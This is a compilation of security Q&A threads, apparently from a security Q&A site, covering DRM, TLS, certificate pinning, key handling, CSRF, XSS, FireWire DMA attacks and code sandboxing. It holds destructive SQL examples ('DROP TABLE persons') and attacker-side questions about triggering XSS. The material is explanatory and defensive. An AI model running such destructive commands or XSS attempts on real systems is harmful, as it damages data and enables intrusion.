Security Risks of BD+ I have recently been reading about the DRM measures on commercial bluray disks, in particular BD+. It seems that this technology involves Java software running in a virtual machine, with full access to physical hardware and the ability to run native code. This appears to be the case for standalone bluray players, but what about if I watch a bluray disc on my Windows PC (e.g. with Cyberlink PowerDVD). Does the software on the bluray get full administrator access to my system? This seems like a horrible security risk (I would never like to run anything Java-based as root). Can anyone tell me more about how BD+ protection works, in particular when watching on computers? What are the security implications?

I believe your mixing several separated technologies together.
First BD-J => this is a special subset of "java" which is used for the menu's and interactive elements, it runs inside its own VM-container and does NOTHING on the host without the player software (so it works with the same permissions as your player or lower... meaning your user or none at all) source:Wikipedia article BD-J

BD+ is a a virtual machine embedded in players. it is NOT JAVA based at all. It can verify a players footprint against a list of allowed fingerprints (this does not really apply to PC's) and it facilitates the decryption of some "corrupted" data from a hidden secret encrypted location on the disc.

the way it can "run code" is through so called "TRAPS" this is hard to write code for, or even utilise for arbitrary code injection. all though not impossible.

The way for example VLC utilise DB+ is through running the VM in its own Library container it in no way runs with root permissions it just yieldds the enrypted blueray information for playback. source:Wikipedia article BD+


Server side validations for file upload to prevent DoS on HTTP server I am aware that client side validations can be easily bypassed by means like disabling javascript. I would like to know the things to be checked while doing a server side validation for file upload. I expect an image file.

Basically I wanted to prevent DoS attacks of the type resource consumption. i.e., an attacker can eat the memory of the server by uploading large files into the server. How to prevent such attacks by server side validations?

One easy thing you may do is limiting maximum POST size, as well as upload max file size.

For exemple, using PHP, you may tweak :

post_max_size integer
    Sets max size of post data allowed. This setting also affects file upload.
    To upload large files, this value must be larger than upload_max_filesize.
    If memory limit is enabled by your configure script, memory_limit also
    affects file uploading. Generally speaking, memory_limit should be larger
    than post_max_size. When an integer is used, the value is measured in bytes.
    Shorthand notation, as described in this FAQ, may also be used. If the size
    of post data is greater than post_max_size, the $_POST and $_FILES
    superglobals are empty [...]

max_file_uploads integer
    The maximum number of files allowed to be uploaded simultaneously. Starting
    with PHP 5.3.4, upload fields left blank on submission do not count towards
    this limit.


Downloading a new SSL pinned certificate insecure? I want to make a mobile app secured with SSL pinned. The problem I know I will have is if the certificate expires.

My possible solution would be downloading a certificate from my server from time to time. I think this wouldn't be bad, but what happens if I intercept that initial connection (potencially unsecured), and replace the certificate with a custom one. Is this a valid concern? Is there a way this can be bad for my app?

Assuming the source of the new certificate is the one you're pinning, and the pinning certificate hasn't been revoked, you're probably OK. At some level, you have to trust the system (EDIT: I mean you have to trust that public key crypto works in general, not that the PKI/CA system in particular is trustworthy), and you're already doing everything you reasonably can to verify the server.

Now, with that said, standard practice is to pin only the public key information (which means you can do things like re-issue the same certificate with a new expiration date, without breaking your pinning) and to pin both the key of your current certificate, and a backup key. The backup key is for if you need to rotate or revoke your current certificate, rather than just re-issuing it. The backup key pair can be created in advance, and then you throw the only copy of the backup private key in a vault or something until you need it.

Between the ability to re-issue certificates so long as you don't change the public key, and having a backup key if you do need to change keys, you should have a large window between when you need to rotate/revoke a key, and when the pinning breaks. During this window, you can release an app update that turns the old backup into the primary key, adds a new backup, and removes the no-longer-trusted primary entirely. If necessary, your app can including a version check function that reminds users to upgrade from the store when the keys change.


TCP versus UDP resilience to DDoS I am building a service that I can implement equally well with either TCP or UDP.  If I use TCP, I expose vulnerability to SYN flood and other attacks on TCP protocol.  If I use UDP, it will be harder to block UDP flood upstream without also blocking my legitimate traffic.  Is there a clear choice here?  I am inclined toward UDP because bandwidth exhaustion attacks impact others on the network so I expect will become increasingly difficult, e.g., with less tolerance for address spoofing and fewer services available to amplify traffic.

When choosing TCP and UDP, you need to look beyond simply security.  Without knowing the details of what you're trying to design it's impossible to make a recommendation of which protocol to use.

Consider these basic facts.

TCP requires a 3 way handshake to setup the connection, preventing
many spoofing attacks based on IP address.
TCP can use an SSL connection if you ever needed to add encryption.
UDP requires less resources on the server end to keep track of
sockets.


Would Hashing a Decryption Key Significantly Lower Security? I'm using the Haskell Codec.Crypto.SimpleAES package to create a crude password manager.  The password manager seems secure but it's unable to warn the user when the decryption key is invalid.  If a user supplies a bad decryption key, the program just sends back garbage instead of an "Invalid Decryption Key" error.

I want to give the user an error when a bad decryption key is supplied.  The easiest way I can think of doing this is to hash the decryption key and save it in a local file when the password manager is initialized.  From then on, whenever a user requests a password, the program would then check the supplied decryption key against the hashed value before invoking the decryption algorithm.  If the key didn't match the hash, the program would send back an error, but if the key did match, the program would decrypt the requested password and send it back to the user.

If the password manager stores a hashed instance of the decryption key in a local file, would that significantly lower security?

What you are looking for is called a Key Check Value (KCV).

You create a KCV by encrypting a block of zero bytes in ECB mode (the same number of null bytes as your cipher’s block size), then saving the first three bytes of output as a six character hexadecimal string, such as A1B2C3.

In the future you can test a key by executing the same KCV algorithm; if the bytes are uncorrupted, it will yield the same KCV. This method is often used as a verification for high security keys that are delivered on paper by couriers.

The output is deliberately limited to not contain enough data to reveal significant information about the key. And by not using a hash, it doesn’t risk exposure due to an unknown or unforeseen weakness in the hash algorithm.


Doubts about tls handshake Im studing about the tls handshake and I have some doubts.

After the client validate the digital certificate presented by the server the next step is the key exchange agreement using for example RSA to encrpyt and decrypt data exchanged during the tls session. In this RSA process the client generates a random number and uses the public key of the server to encrypt this generated random number and send this encrypted number to the server.

This random number is the pre-master secret. The server uses its private key to decrypt the pre master secret. From this pre-master secret the client and the server can generate the master secret that contanins the symetric key to use in the message encryption. This pre master secret, since it was encrypted using the public key of the server can only be decrpyed by the server with its private key. Doubt: Thus, because of this the security in the key exchange depends on the private key of the server right?

So, if the pre master secret is encrpyeed with the public key of the server, if an ataccker can get the private key its possible that the attacker can decrypt the information transmitted in the handshake and thus get access to the master key to decrypt data transmitted durring a session, wether it is data from an older or new session. Doubt: To fix this issue there is the concept of perfect forward secrecy right? If there is a guarantee that all information ecnrypted before the private key is compromise continues secure.

Doubt: And to use this perfect forward secrecy the ephemeral dh algorithm should be use right? To generate a new set of paramters dh for each session. My doubt about this is, in case of a site that uses https how do we know if it uses dh or ephemeral dh? And when to use dh or ephemeral dh in a https site?

Your assumptions of how TLS works are mostly correct, i.e. the basic ideas are correct but some details (like how the pre-master-secret is generated) are wrong.

  ... in case of a site that uses https how do we know if it uses dh or ephemeral dh? And when to use dh or ephemeral dh in a https site?

Which authentication, type of key exchange, symmetric encryption and MAC is used is specified by the cipher. The client offers some ciphers and the server selects one of the offered ciphers. The ciphers which use ephemeral DH are the ones with DHE or ECDHE in their name, for example TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384. The ciphers which use non-ephemeral DH are the ones with only DH or ECDH in the name, like TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384.

Non-ephemeral DH requires that the static DH parameters (see TLS/SSL's usage of Non-Ephemeral DH vs DHE) are inside the certificate. This kind of certificate and therefore the kind of key exchange is very uncommon. If you check current browsers in SSLLabs client test you will see that none of these even offers DH/ECDH ciphers to the server but only DHE/ECDHE.


Can attackers change the public key of certificate during the SSL handshake The communication is not encrypted during the SSL handshake. If an attacker conducts a man in the middle attack between server and client to capture the certificate, and change the public key in the certificate and send it to client, then the digital signature is same, all the properties except public key are same.

So how can a browser understand the difference? If browser validates it, the attacker can use his/her own key pair and doesn't need the private key of the server.

... change the public key in the certificate and send it to client. Digital signature is same, all the properties except public key are same. So how can browser understand the difference?

The browser checks that the signature of the certificates fits the certificate. Since the public key is included in the signature and the public key is changed, the signature no longer fits the certificate. Therefore the validation will fail.


Does WebCrypto also mandate the crypto algorithms be implemented in Javascript? I am trying to understand what WebCrypto means. From what I understand it is -

A Javascript Crypto API spec that all browsers must (hopefully) support. Am I correct?

If so are the crypto algorithms implementated in Javascript? Or the algorithms from the underlying platform simply exported through the WebCrypto API? What do browsers do?

A Javascript Crypto API spec that all browsers must (hopefully) support. Am i correct?

Hopefully all browsers should support it, though currently it's still work in progress.

The specification does not mandate that the API be implemented in JavaScript. Developers are free to choose their underlying implementation, it could be JS, or a built in part of the browser, a plugin, a hardware module, etc. This post introduces some of the currently available implementations and the technologies used to develop them.


Is splitting up an AES Key a problem? I'm wondering if it would be a problem to split up a 256 bit AES-Key into two 16-Byte blocks and distribute it, to implement some kind of a four-eyes-principle (you need two persons to decrypt a message)?

I know there are some encryption schemes which use multiple secrets, but none of them are part of the .NET Framework and I think it would be better to use the AES-.NET Classes than to try to implement some of these schemes by myself.

Generic solution for sharing a secret is Shamir's algorithm. This is not hard to implement, but it requires some mathematical knowledge. I am not aware of a ready-to-use open-source .NET implementation.

An easier solution is to use a hash function. If you have n people who each own a "secret element", then just concatenate all the secret elements in due sequence, hash the lot with SHA-256, and take the first 128 bits of the SHA-256 output as key for AES-128. This scales to more than two shares, and avoids any potential issue with a "partially known" AES-256 key; also, it lets you use the much more sensible AES-128.

There is no known issue with a half-known 256-bit AES key, but AES is known to be somewhat flaky with regards to related-key attacks which, from a general overview, somewhat look to be potentially relevant. To be brief, it seems somewhat risky to rely on AES being robust against partially revealed keys.


Is it dangerous to disable the IPv6 firewall built into many home routers? The router that my ISP has delivered contains an IPv6 firewall. The only configuration option is whether it is on or off. Apparently, this firewall simply denies all incoming connections.

I understand this is to prevent exposing all hosts and all their open ports to the entire internet.

If I want to receive incoming IPv6 connection then I will need to disable this firewall.

Is it dangerous to disable it? I wonder if devices such as PCs and mobile devices are secure enough to be exposed to the internet. They certainly are supposed to be secure but are they secure in a practical sense?

Yes, it is dangerous to disable a firewall with out any compensating controls or replacement filtering. It is true that an internet IP address indexer for IPv6 has much more to cover, but it does happen. Sans has articles on this.

One of the issues here is that IPv6 allows for a direct attack on an internal device. NAT is not used (at least that is the intention of ipv6) so an attacker doesn't discover the router first, it is trying to send messages directly to the device internally.

Although there is less attention placed on attacking ipv6, it definitely is happening. In my day job we look for ipv6 on internal networks that are ipv4 based as signs of a breech.

A suggestion for an answer to the question of "if I turn off full blocking of ipv6 because I want to use it, what then?" would be to run through a pfsense box. Here is an article. https://blog.joelj.org/setting-up-pfsense-with-ipv6/
This would allow only devices and services that you want exposed to the internet open, instead of all devices on your network, some that may have vulnerabilities or mis-configurations.


Is SQL injection still a bad thing if the user is restricted to non-harmful queries? Suppose I have a very simple PHP application that acts as a front-end for an SQL database.  The user enters their query into a box, and the app shows the query results in a table.

To prevent a user from modifying the table, the SQL user only has permissions for read-only queries, i.e. if a user tries to enter something like DELETE * FROM persons or DROP TABLE persons into the textbox, they get an error.

Is it still considered "bad form" if this web app is vulnerable to SQL injection, given that the intended use of the app is for the user to be able to execute their own (read-only) SQL queries on the database?

Is it bad if the app is vulnerable to SQL injection if it does not cause any harm - yes. Is it critical - probably not. Should it be fixed - yes.

Basically you are having a multilayered defense: the first layer is to make sure to not allow SQL injection while the second is to make sure (using database permission) that a successful injection does not cause harm. The idea behind a multilayered defense is that any of the layers might not be perfect but combined they provide a better defense than alone. Just hoping that the second layer will catch any problems expects that this defense layer is perfect - which it often isn't.


USB to Firewire converter is a security issue? FireWire has security issues. But what happens if there aren't any FireWire ports on the given machine, and the operating system doesn't support FireWire,  like OpenBSD?
I mean converters like:

usb to firewire converter
pcmcia to firewire converter
etc.

Are there any FireWire security issues when we are talking about FireWire converters?

The security issues with FireWire come from Direct Memory Access: the FireWire hardware can read RAM contents directly, and (that's the critical part), the FireWire device gets to tell what parts of the RAM should be read and when. Of course, under normal operations, a FireWire device will not read RAM unless the machine tells it to do it; but a malicious FireWire device could read all RAM contents on its own initiative, without being ordered to do so by the OS. Indeed, the OS kernel would not even be aware of this mass slurping of memory. Implementations exist with another computer as "the malicious FireWire device".

This property of FireWire is convenient for very low-level hardware debugging, but it is somewhat scary with regards to security.

This contrasts with USB, where DMA can occur, but only when initiated by the host system explicitly. The device receives an order which amounts to "yay, now you can read a lot of data, I've setup DMA just right" but has no way to trigger the DMA transfer and/or to select the relevant addresses in RAM.

Now for a FireWire-to-USB converter, things become speculative because it depends on how the converter is implemented. However, it can be envisioned that when the FireWire device asks for some DMA, the converter sends the request the the machine over USB, and the corresponding driver sets up the DMA transfer on behalf of the device. So the same security issues should be present, unless the OS (through the converter driver) enforces a security model in which such DMA transfers are first validated before being authorized. At least, things go up to the CPU level, so the OS has theoretically a chance to intervene. I doubt that most converter drivers would do that, though.

For FireWire-to-PCMCIA, the DMA might occur directly (without going through the host CPU at all) because PCMCIA is just a hotplug version of PCI, and PCI has full DMA access. The conversion may occur directly in the converter without hitting the host-side driver at all. Caution dictates that you should assume that a FireWire-to-PCMCIA converter exposes to the same vulnerabilities as raw FireWire.

The really scary part is that in some operating systems, simply plugging the converter may trigger an automatic download of the relevant driver, even if the host system is "locked" (e.g. no logged-on user at all).


How to handle sensitive data like API-keys and DB passwords on production I'm setting up a development and production environment for a web application. It uses some remote APIs for which you need a key to access them. You don't want those in your code, as well as the database credentials.

I have done some research and learned that one could store them in a file that does not get committed to the repository. Is this safe to do on a production server (Ubuntu 16.04)? Granted that the server has been hardened correctly? Or should additional steps be taken? Or is it the wrong way to do it all together?

Confirm. For sure those secrets should not be hardcoded in the code. The best would be to have a separate file with secrets encrypted. This file should be stored on some area which is not accessible by the application server (outside its scope).

According to the encryption of data in the config file, unfortunately, I am not familiar with features that Ubuntu has. I am a .NET developer and there was a mechanism presented by .NET Framework which allowed to encrypt parts of the config file (web.config) using a defined key stored on the machine (MachineKey)


Is it possible to exploit XSS inside User-Agent header? I've found an xss bug inside user-agent header on one popular buy/sell site , and after reporting it to them , they answered that it is not dangerous as it can not be exploited without user interaction(changing user-agent header manually).
So I wanted to ask , is there any way to send user-agent and request that same page with spoofed user-agent. Can any web programming language do that?
Thanks

It is not possible for an attacker to control the user-agent in a cross site request.   Usually XSS payloads are simple <form> elements with javascript to automatically call .submit() or an <iframe>.

It is possible to exploit XSS via some HTTP headers using Flash. However, flash has a blacklist of http headers.  The user-agent was blacklisted in version 9.0.28,  so once upon a time you could exploit user-agent based XSS.  I wrote the CSRF-Request-Builder to take advantage of Flash's control over HTTP headers.


Attackers seem to have accessed my Chase online login information. How might this have happened? I recently noticed a series of small deposits made via Chase’s mobile deposit feature. I didn’t deposit this money (there were five deposits, all under $20). My guess is that an attacker wanted to see if anyone was monitoring the account. I called Chase to freeze my account, and they’re “conducting an investigation” as well.

I’m not sure how this happened. My best guess is that it has something to do with a guest network in my apartment building that I sometimes connect to, and might have accidentally used to log into my Chase account. But Chase uses HTTPS, so shouldn’t that not matter? I doubt it’s malware on any of my devices — I use Ubuntu and iOS exclusively, and don’t install much third-party software on either. I don’t have an information security background, so I’m not sure about the situation. If that’s not it, how might this have happened? My password for Chase isn’t used for any of my other accounts. It’s probably not an excellent one, but it’s also not terrible. I’ve never told anyone the password. How might this have happened? Is there anything I can do to learn more about how it happened? What should I do to prevent this from occuring in the future?

Update: To any future readers, this turned out to be nothing malicious, just something stupid.

Contact your bank and file your complain.

This can be a sign of "Refund scams".

The scammer will contact you as a fake bank officer, use a pre-crafted social engineering script to ask you to follow step to "return money" that does not belong to you.

Remember, if this is really a wrong deposit, the bank should reverse it WITHOUT your details or various personal authentication info.

check this link for detail


Should I take (Pen test) approval from AWS for Fuzz testing my Application API's hosted on AWS? I wanted to Fuzz Tests my API's on my own stack which are hosted on AWS environment (Have used lambdas and API gateway)

There are mostly GET APIs and only one PUT API.My requirement is to Fuzz Test the API headers and the body. For this I'm planning to use file fuzzing techniques with certain payloads.

Do I need to take a Pen testing approval from AWS for my Fuzz Testing?

Quick response would be appreciated.

Thanks

Yes, you will still need to raise a ticket with AWS. You can find their policy here:
https://aws.amazon.com/security/penetration-testing/

They have no specific guidelines on what penetration testing consists of, but if you are using CloudFront or ELB, they may detect abnormal behavior. Therefore it's safer to register and to prevent an abuse notice.

Also note that even when hosting your own application on EC2 you cannot test on  m1.small, t1.micro or t2.nano.


Is storing passwords associated with system processes and binaries in an encoded format acceptable? When a system must go from a powered down state to a fully operational state without any human intervention it therefore needs access to usable authentication credentials unattended. The system must recover and boot automatically without human intervention so the credentials must be stored in a readable format on the file-system.

We hear about passwords being hashed(+salted) at rest and encrypted in transmission but is encoding acceptable under the above scenario? For instance I was reading an article about WebSphere where they encode their system passwords using XOR and base64 and consider it as the best option.

Encrypting WebSphere Application Server system passwords — if you insist

Is encoding the best option for cases like this?

It's seems acceptable as long as you realize what the risks are and what the alternatives are. In the encoding case, anybody that can access the encoded password and knows how to decode, can get hold of the password and accesses the protected resources.

I wonder though, if a system knows how decode an encoded password, the system should also be able to decrypt a stored password using a master key. And that alternative is discussed in the reference link.The question in that case is how difficult is it for a third party to 'find' that master key.

I have a similar case, an automatic incremental backup that requires an encryption key. That key itself is stored, but encrypted by a kind of master key on my PC. The master key is stored somewhere and could be found or is reproducible though, if one knows how to.

I'd say that both cases classify as security by obscurity, which is bad if there are alternatives availabe. I'd prefer the backup case that perhaps offers more obscurity options. In the end, in both cases a secret is accessible for third parties.


How secure is it to bundle unencrypted private key and a CSR into PKCS12 certificate? I want to create a self-signed certificate to digitally sign my documents. I want to do so using my existing key pair, but to accomplish this I'd have to export my private key unencrypted into a file, use that to generate a CSR with openssl and then bundle the two into a PKCS12 certificate, also using openssl.

My question is, how secure is this? How well protected is the private key within the PKCS12 and what openssl commands should I use to ensure the best level of security for the key?

Bear in mind that I intend on using my signing-only private subkey for the certificate instead of the master one.

Well, in the final PKCS12 you should encrypt the private key. The pkcs12 utility allows you to specify how you want to encrypt the private key.

-aes128, -aes192, -aes256
use AES to encrypt private keys before outputting.

-camellia128, -camellia192, -camellia256
use Camellia to encrypt private keys before outputting.

I would consider aes256 very secure for a private key.


Vulnerability scanner shows SQL errors were disclosed.How Severe it is? When I scanned my site for Vulnerabilities I found this error.

Various SQL errors were disclosed within the application source code or other files.

I have checked for sql injection and confirmed that it's not injectable.So how severe is this vulnerability? How an attacker could exploit it?

Not all SQL errors can be exploited, however you need to investigate why the SQL error was generated. Often it's a sign of bad input validation, even when not exploitable (by you) it should be fixed. Furthermore, in production environments, error messages should be generic and not disclose any details about the error or your system's configuration.


Spoofing of Server Sent Events In the spec for Server Sent Events, it says

  Authors should check the origin attribute to ensure that messages are only accepted from domains that they expect to receive messages from. Otherwise, bugs in the author's message handling code could be exploited by hostile sites.

How one could possibly receive messages from domains without requesting it?

Wouldn't the fact that Server Sent Events are built on HTTP (TCP), make this impossible?

That section of the spec is referring to Cross-document messaging, not Server Sent Events. It appears html5rocks.com has misquoted.

You are correct: If the SSE listener is not set for that domain in the page script, then there is no threat.


Password Manager - id_rsa as key file I am finally taking the plunge and employing the use of a password manager. After some research I have selected KeePassX. My plan is to replace all my web passwords with random 16 character strings.

I have decided to use a keyfile + password combination.

My question is this; is it a bad idea to use my id_rsa as my KeePass key file? I carry my id_rsa around with me at all times on an encrypted usb. It's always there, and it's a file I protect anyway, so it appears to make sense.

I'm just very conscious that re-using anything in security usually breaks the world in some way.

I would also like to centralise my password database in some way, rather than having to copy it across to laptop/desktop with each new password. Can anyone see a problem in using something like SVN to achieve this?

The "key file" is hashed before use. I strongly doubt that there would be any interaction with the file structure (being a RSA key file) that would survive the hashing, but, generally speaking, you are right: you should refrain from reusing a cryptographic secret (like a private RSA key) for two distinct purposes. It is actually a requirement in many security architecture-related standards (e.g. FIPS 140-2). I suggest that you create another file (dd if=/dev/urandom of=keyfile bs=16 count=1) which you will transport along with your id_rsa, using the same protection. 16 random bytes are more than enough.


How can I monitor traffic of devices on my WiFi? I have my kids cell phones attached to my router. What can I install to view what they are browsing and the media they have? I want to make sure my kids are safe

One thing to realise is that you can't completely block what you kids do on the Internet and probably the best thing to do is to try and educate them on avoiding sites you think they shouldn't visit and also how to recognise dangerous situations (e.g. strangers looking to message them or meet up in real life).

That said there are products which can help to manage and provide basic restrictions on Internet access.  They're not perfect but they can inhibit mild curiousity, and could help kids avoid "bait and switch" where a friend sends them a link which appears to go to a safe site but instead does not.

One thing you could look at is Family Shield from OpenDNS, which helps to filter access to adult sites, but there will be other similar products.


Why doesn't XSS vulnerability from the site launching the CSRF attack make the Synchronizer Token Pattern insecure? I was reading this question about using Synchronizer Token Pattern to protect against CSRF and the comments of the answer intrigued me.  Of course, as the last comment says, if your site has an XSS vulnerability, then CSRF is not your biggest concern.  But what happens if the other site as a XSS vulnerability?

Let me set the stage.

fakebank.com = your bank which has a funds transfer page that requires you to use a unique token you get on a get page that must be included in a post.  You are currently logged into it.
insecurefun.com = a site you are currently visiting.  Has numerous issues, including XSS vulnerability.
malicioussite.com = a nasty site that you never want to visit, but it happens to have put up a few adds on insecurefun.com.

So you load up insecurefun.com and happen to get an add from malicioussite.com.  The add redirects a get to fakebank.com using your session data, causing fakebank.com to send your browser the confirm transfer page which happens to include the unique token.  Then, the add exploits the XSS vulnerability of insecurefun.com to run javascript to get the token and finally performs a post with, causing your bank to transfer funds.

Now, I'm pretty sure this can't work, because if the Synchronizer Token Pattern could be so easily exploited, it wouldn't be recommended as protection against CSRF attacks.  But, what I don't get is why this cannot be exploited.

My only guess is that the malicious script cannot get a hold of the unique token to use it due to same domain policy.  But if you do something like this, it seems the malicious script could launch the GET have have the HTML returned as a string, parse the data for the unique token, and then launch the POST without the user being informed.  What am I missing that would prevent this from working?

The add redirects a get to fakebank.com using your session data,
  causing fakebank.com to send your browser the confirm transfer page
  which happens to include the unique token.

This cannot happen if fakebank.com is using a CSRF token correctly.

A CSRF attack is basically just making a request to a target site from a malicious site.  The purpose of the CSRF token is to require that all requests made to the site include this secret token.  The malicious site has no way of knowing what this token is as long as the CSRF protection is setup correctly.

So without a CSRF token required a request could just do a post with the "transfer to account" and the amount.  When a CSRF token is required the request must also include a CSRF token that a malicious site will not know.

I tried the method described in the link you provided and it doesn't seem to work against a properly configured site.

If you were in fact able to pull the page of an authenticated user from a domain you do not control (as the link is suggesting) and that page contained the CSRF token, then yes, you could bypass the protection provided by a CSRF token.

If fakebank.com has an XSS vulnerability then all bets are off.


Block to record http requests using recorder When I log into any website, I can record all calls while login using jmeter test script recorder or Burp suite but when I try to record calls from face book, it gives me following message on browser.

The certificate is not trusted because it is self-signed. The certificate is only valid for JMeter Proxy (DO NOT TRUST)

Can I implement this feature for my site so no one is able to know what calls are going on server while login or registration or any other activity?

My site is https but still https requests can be recorded using automated tools.

Please comment.

Thank You

You can intercept Facebook and any other website requests using burp or similar other proxy tools.

The error is probably that you didn't add the CA certificate from Burp/Jmeter to your browser trusted list of CA's.

Check this link on how to add Burp CA certificate in Firefox.

Also, you can add client certificates for extra layer of security. But even this can be intercepted in other ways.


Reverse engineering and buffer overflows: zero to hero When I do CTFs, I can usually cope well with and understanding everything pretty much apart from buffer overflows, binary exploitation and reverse engineering

Almost to the point that I would consider myself having zero knowledge at all. I grasp the concept at the very most basic of levels and by that I mean I can operate a mouse and keyboard

Is there anywhere that takes you from zero to hero? I'm currently doing CTFs on https://0x0539.net/ and have done most of them apart from reverse engineering ones.

https://liveoverflow.com/ is a decent start I believe but was wondering where there was a book, an online resource that as I say, could take me from zero to hero

I understand there's a "stack" and "memory" and "assembly language" and then after that... nothing.

Specifically - I would like to get to a point where I come across a related challenge in a CTF and at least know where to start, where to go and how to complete it

Thanks

I think the standard, at least back in the 90's was "Smashing the stack for fun and profit" from phrack magazine.


Should I allow browsers to remember my passwords and synchronize them? I wonder, how wise is it to allow Chrome and Firefox to a) remember the passwords b) synchronize them? My gut tells me that if it's not man in the middle who can intercept them, but Google and Mozilla themselves can see them on their servers or with help of their browsers. Of course, they say they won't and the passwords are stored encrypted, but can we know that for sure? Maybe the browsers themselves secretly send the passwords to Google and Mozilla.

I've just begun using keepass recently, therefore at least I have a place where my passwords are stored locally, because previously I  stored them only in the  browsers and synchronized. And now I think I shouldn't  synchronize them anymore.

To expand on what @d1str0 said: if the creator of your browser wanted to steal your passwords, it would be trivial to send them to a manufacturer controlled server whenever you entered them - they don't need to bother with the hassle of telling you about sync procedures, or offering to remember passwords. All browsers by default send a certain level of usage data back, usually crash reports and update checks, which could easily conceal password and username data.

However, if any browser was found to be doing this, there would be outcry against that manufacturer - look at the rage directed at Microsoft following the release of Windows 10 with the reporting back enabled there.

Keepass and Password Safe are both open source (so, given sufficient programming knowledge, and a trusted compiler, you can be sure they're doing what they say they are, and nothing else - sufficient programming knowledge may well be a very high level though). In both cases, the encrypted password files should be safe to sync, even to third party sources, as long as the safe password is not provided. Breaking AES (Keepass) or TwoFish (Password Safe) without the appropriate key (the safe password) comes down, as far as we know, to brute force.

Lastpass and 1Password both require you to trust the developers, and sync by default to a remote location. Theoretically, they are safe, but there wouldn't be any obvious way to detect a vulnerability in them relating to storage. If you're concerned about Chrome or Firefox stealing passwords, logically, the same arguments apply to these apps.

Personally, I use one of the cloud based password services mentioned - I've considered the risks and benefits, and balanced the amount of security I'm willing to accept against the ease of use for the service, and decided that for my use cases, it's acceptable. Your acceptable risk might well be different - if you consider AES as vulnerable, for example, keeping a Keepass safe on an encrypted USB key which uses a different encryption algorithm might be a viable option, but uploading the file to a third party service might be "too risky" for you.

It comes down to what you consider safe, having evaluated the options. Many security professionals have considered this problem though, and generally advise using password safe type software over allowing browsers to remember passwords, simply because browsers used to be terrible at it - they allowed access without a master password, and used poor encryption methods. Some of these issues have been addressed now, but old habits die hard!


How can I execute a XSS on 302 redirect and the body on the page? Is there a way to execute XSS? on 302 redirect and the body on the page?

<TITLE>302 Moved Temporarily</TITLE>

The document has moved here

I can breakout with " but i can't use any character after < or whole parameter would be removed.
Maybe there is a workaround to "stop" the redirect and show HTML? I'm almost 99.99% sure there is a way to break it somehow.

In many cases a 302 redirect will not contain a body at all.

The RFC only requires a header to indicate the status 302 and the location the user should be redirected to.

As Steffen said, modern browsers ignore the body of the redirect and directly issue a GET for the location specified in the header.


Login system using authenticated encryption without storing user password I'm not a security expert, so I might be asking a silly question, but let me describe what I am thinking about.

First, I know that a lot of web sites store hashed/encrypted passwords which could be decrypted by brute force attack once the table on db is hacked. Hackers might even be able to use the passwords in other websites and access other confidential info.

Given that AES cannot be broken why can't we just use a logic similar to the authenticated encryption?
here is another relevant link.
For example,

Prepare 1kb random binary file as expected file.
Encrypt the expected file using a hashed password
When a user logs in the system, validate the password by decrypting the encrypted file and check against the expected file. If fails reject the log-in.
I suppose we can use the same logic for secret questions and answers for resetting password without actually storing answers.

If the confidential files are also encrypted using the password, then I guess the user will not be able to reset password. Is there any way to do it?

While writing this, I found a very similar question, but they are talking about client side decryption and I'm talking about server side (or only within the local system).

I'd really appreciate any comments and suggestions.

Actually your proposal is just a variation of a hashed password. Only in this case it is not the hash which is verified, rather an encrypted/decrypted blob. Hence it has mostly the same advantages and drawbacks of (reasonably implemented) hashed passwords. See PBKDF. When properly designed - like e.g. bcrypt (c.f. Do any security experts recommend bcrypt for password storage?) - it offers rather good security for most scenarios.

The question you are referring to (user authentication by decrypting a random blob) actually covers it rather well, I'd say.

As for user's data encrypted by the password - change in the password would of course require re-encrypting anything encrypted with the old one (i.e. decrypt with old one, encrypt with new one), which is generally performance expensive thing to do. This is usually circumvented in a layered manner: the data itself is encrypted with a randomly generated key, which in turn is encrypted with a password-derived one. If one decides to change the password, all that is needed is re-encrypting the real encryption key. It also allows one to use several passwords to access the same data (one example of this very way of encrypting data is LUKS).

That said, should you intend to create your own cryptography solutution, read Is my developer's home-brew password security right or wrong, and why? first.


Suggested reading list: OS exploits In computer security, my areas of interest include x86 processors, binary exploitation and reverse engineering. I'm also interested in the certain aspects of the minix and the linux kernel(memory management, filesystems).

A book I read recently is The Shellcoders handbook. I would like suggestions on books which you have read and would recommend to others. Suggestions could be platform independent, thanks!

Please note: I have asked the same question at stackoverflow.com and have received two really good responses. I am still looking for more suggestions, hence, am posting it here.

I would recommend reading "Gray Hat Hacking"  by Harper et al. (3rd ed.)

But more importantly, I would recommend doing exercises rather than reading about them.  Perhaps start at overthewire.org and do vortex there.  The exercises cover all of your areas of interest and they contain links to a lot of on-line reading.


Sandboxing untrusted user-supplied code in a web application I am trying to create a programming game where user-supplied programs compete in battle simulations, to be used as a tool to teach and practice programming. (It will likely be a turn-based robot simulation, but for the purposes of this question, it could just as well have been chess or checkers.) One major component of implementing this game will be to provide a mechanism to run user-generated code against game data to determine their bot's moves.

I know that the typical advice is, "Wherever possible, don't run untrusted code," and I understand where it comes from. In my current case, though, it would be the core functionality of the app I would like to make, if at all possible. I know that I will need to take some precautions to ensure that user-supplied code does not cause damage. The ideal setup, from what I can tell, would enforce that:

User code reads game state from STDIN
User code writes generated move to STDOUT
User code is isolated from the host system
User code is isolated from each other
User code is limited in the resources it can consume (CPU, memory, disk)
User code cannot access the network

My use case doesn't seem unique. If anything, I would imagine any of the following types of apps have similar requirements:

most programming games
competitive programming online judge
"Try X programming language"
game AI competitions

Yet, I looked around on Google, but I couldn't find any reference implementations that seemed trustworthy. Most of the above sorts of apps are closed-source, and perhaps for good reason.

Given the requirements, I imagine I would need some sort of isolation/virtualization/containerization solution, although I am honestly not sure which one would provide the necessary guarantees.

What are current best practices around sandboxing for user-supplied code? Does anyone have some information or references to trustworthy sources?

Coming back to this question with a bit of a delay... I'm assuming that the code you receive is executed by the client in their Javascript interpreter, and at some point submitted and interpreted on the server for validation.

You have multiple problems:

you want to ensure that the code executed for one player cannot negatively affect another player
you want to ensure that the code you execute does not permit any OS-level privilege escalation
optional bonus: you want to know when something went wrong during the client code execution

Sanitise input

First things first: remember to white-list the inputs you get from your clients. They must have a known length and format. Use a platform-agnostic format for storing the data you receive, which specifies the lengths and types of all exchanged variables.

Isolate clients

You must then ensure that the computation of any input can either lead to a correct result, or to the computation failing without affecting the OS or other concurrent computations. This means that every input is processed in its own contained thread/process. You could have your Web server forward the input to a custom daemon that spawns one sandboxed process per client, and feeds it the input.

You could also use something like Wedge to directly and safely compartmentalise a single server. Capsicum could also be an option.

